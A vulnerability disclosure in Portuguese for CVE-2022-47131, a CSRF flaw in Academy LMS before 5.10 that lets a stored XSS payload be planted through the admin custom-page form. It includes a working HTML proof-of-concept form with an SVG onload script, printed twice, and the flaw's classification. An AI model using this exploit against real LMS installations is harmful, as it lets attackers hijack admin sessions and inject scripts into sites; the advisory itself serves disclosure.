Headline
CVE-2022-47131: Academy LMS < 5.10 CSRF + XSS Stored
A Cross-Site Request Forgery (CSRF) in Academy LMS before v5.10 allows an attacker to arbitrarily create a page.
Descrição
O Academy LMS é uma aplicação onde pessoas conseguem criar e anunciar cursos. O recurso de adicionar um a nova página está vulnerável a CSRF, pois não há nenhuma token que faz com que esse ataque seja evitado. Além disso, essa página pode ser usada para carregar um payload de XSS de forma armazenada.
Prova de Conceito (POC)
O primeiro passo para a nossa prova de conceito é autenticar na plataforma com usuário administrativo.
Após isso, basta acessar a página que contém o código para a exploração da vulnerabilidade, veja que na página inicial do site será adicionado um novo botão.
Acessando a nova página criada, podemos confirmar a existência de um XSS armazenado.
Código usado na exploração:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/admin/custom_page/add" method="POST">
<input type="hidden" name="page_title" value="CSRF XSS" />
<input type="hidden" name="page_content" value=""><svg onload=alert(document.domain);>" />
<input type="hidden" name="files" value="" />
<input type="hidden" name="button_title" value="CSRF XSS" />
<input type="hidden" name="button_position" value="header" />
<input type="hidden" name="page_url" value="xss" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/admin/custom_page/add" method="POST">
<input type="hidden" name="page_title" value="CSRF XSS" />
<input type="hidden" name="page_content" value=""><svg onload=alert(document.domain);>" />
<input type="hidden" name="files" value="" />
<input type="hidden" name="button_title" value="CSRF XSS" />
<input type="hidden" name="button_position" value="header" />
<input type="hidden" name="page_url" value="xss" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Versões Afetadas
Academy LMS - < 5.10
Pesquisador
- Vinícius Alves
Classificação
Type: Cross-Site Request Forgery / Cross-Site Scripting
OWASP TOP 10: A01:2021 - Broken Access Control
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Type: Cross-Site Request Forgery / Cross-Site Scripting
OWASP TOP 10: A01:2021 - Broken Access Control
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
CVE
CVE-2022-47131
Referencias
- PortSwigger
- YoutTube Video